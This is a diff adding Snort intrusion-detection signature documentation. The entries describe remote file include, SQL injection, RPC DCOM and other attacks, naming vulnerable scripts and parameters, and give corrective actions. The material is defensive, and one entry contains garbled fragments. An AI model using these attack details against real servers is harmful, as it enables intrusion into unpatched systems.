+ICMP Mobile Registration Reply were never implemented and have been replaced by UDP and TCP versions of the message.  ICMP Type 36 datagrams should never be seen in normal network conditions.
+
+--
+
+Detailed Information:
+ICMP Mobile Registration Reply datagrams were developed before the approval of RFC3344 (IP Mobility Support for IPv4).  Therefore these types of ICMP datagrams should never be seen in normal networking conditions.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 36 datagrams are not normal network activity.  Hosts generating these types of datagrams should be investigated for nefarious activity
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000487.txt
+++ snort-2.8.5.2/doc/signatures/100000487.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000487
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "ISPConfig" application running on a webserver. 
+Access to the file "server.inc.php" using a remote file being passed as the 
+"go_info[isp][classes_root]" parameter may indicate that an exploitation 
+attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "go_info[isp][classes_root]" parameter in the 
+"server.inc.php" script used by the "ISPConfig" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ISPConfig
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1279.txt
+++ snort-2.8.5.2/doc/signatures/1279.txt
@@ -0,0 +1,68 @@
+Rule:
+
+
+--
+Sid:
+1279
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) snmpXdmi is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port snmpXdmi is using.  Attackers can also learn what versions of the snmpXdmi protocol are accepted by snmpXdmi.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as snmpXdmi run.  Simple Network Management Protocol (SNMP) and Desktop Management Interface (DMI) are remote management protocols.  The snmpXdmi RPC service translates between SNMP and DMI allowing, the use of either or both.  There is a buffer overflow when translating DMI to SNMP that allows access with the privilege level of snmpXdmi.
+
+--
+Affected Systems:
+Sun Solaris 2.6, 7.0, and 8.0.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where snmpXdmi runs.  This may be a precursor to accessing snmpXdmi.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access snmpXdmi, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for snmpXdmi, not probes of the snmpXdmi service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the snmpXdmi service itself. An attacker may attempt to go directly to the snmpXdmi port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0236
+
+CERT
+http://www.cert.org/advisories/CA-2001-05.html
+
+Bugtraq
+http://www.securityfocus.com/bid/2417
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1645.txt
+++ snort-2.8.5.2/doc/signatures/1645.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1645
+
+--
+Summary:
+This event is generated when an attempt is made to access /testcgi on a 
+web server. This may indicate an attempt to exploit a cross-site 
+scripting vulnerability that affects Ceilidh.
+
+--
+Impact:
+Arbitrary code execution, possible session hijack.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a 
+cross-site scripting vulnerability in Ceilidh, web-based discussion 
+software released by Lilikoi Software, Inc. An attacker can craft a URL 
+that passes malicious code to testcgi.exe. If a legitimate user 
+activates the URL, malicious code may be executed on the client 
+computer.
+
+--
+Affected Systems:
+All web servers that Ceilidh 2.6 or 2.7 are vulnerable.
+All clients that access Ceilidh 2.6 or 2.7 are vulnerable.
+
+--
+Attack Scenarios:
+An attacker may craft a script that obtains the user's session cookie, 
+thereby allowing the attacker to pose as the user for the duration of 
+the session.
+
+--
+Ease of Attack:
+Simple. A proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses testcgi.exe, this rule may generate
+an event. 
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/7214
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=11610
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3405.txt
+++ snort-2.8.5.2/doc/signatures/3405.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3405
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000382.txt
+++ snort-2.8.5.2/doc/signatures/100000382.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000382
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_users.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_users.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1391.txt
+++ snort-2.8.5.2/doc/signatures/1391.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1391
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000477.txt
+++ snort-2.8.5.2/doc/signatures/100000477.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000477
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "VBZoom" application running on a webserver. Access to the 
+file "subject.php" with SQL commands being passed as the "MainID" parameter may 
+indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "MainID" parameter in the "subject.php" script used by 
+the "VBZoom" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VBZoom
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1338.txt
+++ snort-2.8.5.2/doc/signatures/1338.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1338
+
+--
+Summary:
+Attempted chown command access via web
+
+--
+Impact:
+Attempt to change file ownership permissions on a webserver.
+
+--
+Detailed Information:
+This is an attempt to change file ownership permissions on a machine.
+Using thiscommand an attacker may change the permissions of a file to
+suit his ownneeds, make a file owned by another user who would
+otherwise not havethese special permissions.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains '/bin/chown'
+in the URI whichcan then change file permissions of files present on
+the host.Thiscommand may also be requested on a command line should
+the attacker gainaccess to the machine.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries
+outside of it'sdesignated web root or cgi-bin.Whenever possible,
+sensitive files andcertain areas of the filesystem should have the
+system immutable flagset to negate the use of the chown command. On
+BSD derived systems,setting the systems runtime securelevel also
+prevents the securelevelfrom being changed. (note: the securelevel can
+only beincreased)
+
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1336
+sid: 1337
+
+man chown
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2973.txt
+++ snort-2.8.5.2/doc/signatures/2973.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2973
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2765.txt
+++ snort-2.8.5.2/doc/signatures/2765.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2765
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_column_group
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3366.txt
+++ snort-2.8.5.2/doc/signatures/3366.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3366
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2034.txt
+++ snort-2.8.5.2/doc/signatures/2034.txt
@@ -0,0 +1,85 @@
+Rule:
+
+--
+Sid:
+2034
+
+--
+Summary:
+A request has been made to rpc.ypserv from an external source that 
+should not have access to this service. This may be indicative of an 
+intelligence gathering activity as a prelude to a more serious 
+compromise of system resources.
+
+service against the target host.
+
+--
+Impact:
+Disclosure of sensitive system information to an unauthorized user. 
+Possible denial of service.
+
+--
+Detailed Information:
+The rpc.ypserv daemon queries information in the local NIS maps. A 
+response to this query may divulge important information to the user 
+performing the query. This could lead to futher exploitation of 
+resources on the network.
+
+In addition, a vulnerability exists in ypserv on some Linux platforms 
+that could lead to a buffer overflow and root compromise of the target 
+host. This is achieved by making a multitude of requests for a NIS map 
+that does not exist.
+
+--
+Affected Systems:
+Multiple systems running versions of ypserv prior to 2.5.
+
+--
+Attack Scenarios:
+The attacker can craft a malicious request to rpc.ypserv such that 
+valuable information can be returned to the attacker.
+
+In the case of a buffer overflow, the attacker might issue a large 
+therefore, be seen many times.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+Upgrade ypserv to the latest version.
+
+Use /var/yp/securenets to list the hosts allowed to access this resource
+where appropriate.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/6016
+http://www.securityfocus.com/bid/5914
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1232
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1043
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1042
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000536.txt
+++ snort-2.8.5.2/doc/signatures/100000536.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000536
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "IMGallery" application running on a webserver. Access to 
+the file "galeria.php" with SQL commands being passed as the "sort" parameter 
+may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "sort" parameter in the "galeria.php" script used by the 
+"IMGallery" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using IMGallery
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000173.txt
+++ snort-2.8.5.2/doc/signatures/100000173.txt
@@ -0,0 +1,59 @@
+Rule: 
+
+--
+Sid: 
+100000173
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known 
+vulnerability in RSA Security RSA Authentication Agent For Web.
+
+-- 
+Impact: 
+Cross site scripting leading to possible inclusion of code of the attackers 
+choosing.
+
+--
+Detailed Information:
+A vulnerability exists in RSA Security RSA Authentication Agent For Web that 
+may allow an attacker to include code of their choosing due to the improper 
+checking of user supplied input.
+
+--
+Affected Systems:
+RSA Security RSA Authentication Agent For Web 5.2
+
+--
+Attack Scenarios: 
+An attacker can supply a link to include code of their choosing in data 
+supplied to RSA Security RSA Authentication Agent For Web.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action: 
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original Rule writer rmkml <rmkml@free.fr>
+Sourcefire Vulnerability Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1153.txt
+++ snort-2.8.5.2/doc/signatures/1153.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1153
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000547.txt
+++ snort-2.8.5.2/doc/signatures/100000547.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000547
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "PHP Blue Dragon CMS" application running on a 
+webserver. Access to the file "manual_admin.php" using a remote file being 
+passed as the "DragonRootPath" parameter may indicate that an exploitation 
+attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "DragonRootPath" parameter in the "manual_admin.php" 
+script used by the "PHP Blue Dragon CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHP Blue Dragon CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2656.txt
+++ snort-2.8.5.2/doc/signatures/2656.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2656
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with Netscape Network Security Services (NSS) message parsing.
+
+--
+Impact:
+A successful attack can cause a heap overflow and the subsequent execution
+of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+A vulnerability exists in the way NSS parses a client connect SSLv2 message
+that can cause a heap overflow and the subsequent execution of arbitrary code
+on a vulnerable server.  This can occur when an overly long challenge length
+and accompanying data are supplied in a Client Hello message.
+
+--
+Affected Systems:
+Netscape Enterprise Webserver all versions
+Netscape Personalization Engine all versions
+Nescape Directory Server all versions
+Netscape Certificate Management Server all versions
+Sun One/iPlanet all versions
+
+--
+Attack Scenarios:
+An attacker can send a Client Hello message with an overly long challenge
+length and data, causing a heap overflow on a vulnerable server.
+
+--
+Ease of Attack:
+Difficult.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2413.txt
+++ snort-2.8.5.2/doc/signatures/2413.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2413
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the handling of ISAKMP data and SA keys.
+
+--
+Impact:
+Serious
+
+--
+Detailed Information:
+The Internet Security Association and Key Management Protocol (ISAKMP) 
+is used as a framework for an authentication method between peers using 
+secure keys.
+
+ISAKMP is a framework for authentication using cryptographic keys. It 
+specifically defines the process of key exchange as opposed to the 
+generation of a cryptographic key.
+
+ISAKMP also details the procedures for the required security 
+associations in network security services.
+
+--
+Affected Systems:
+	Kame Racoon
+
+--
+Attack Scenarios:
+The attacker may attempt to delete keys and security associations in
+hosts running the KAME IKE Daemon.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+ISAKMP:
+http://www.networksorcery.com/enp/protocol/isakmp.htm
+
+RFC:
+http://www.ietf.org/rfc/rfc2407.txt
+http://www.ietf.org/rfc/rfc2408.txt
+
+IANA:
+http://www.iana.org/assignments/isakmp-registry
+
+--
--- snort-2.8.5.2.orig/doc/signatures/820.txt
+++ snort-2.8.5.2/doc/signatures/820.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+820
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
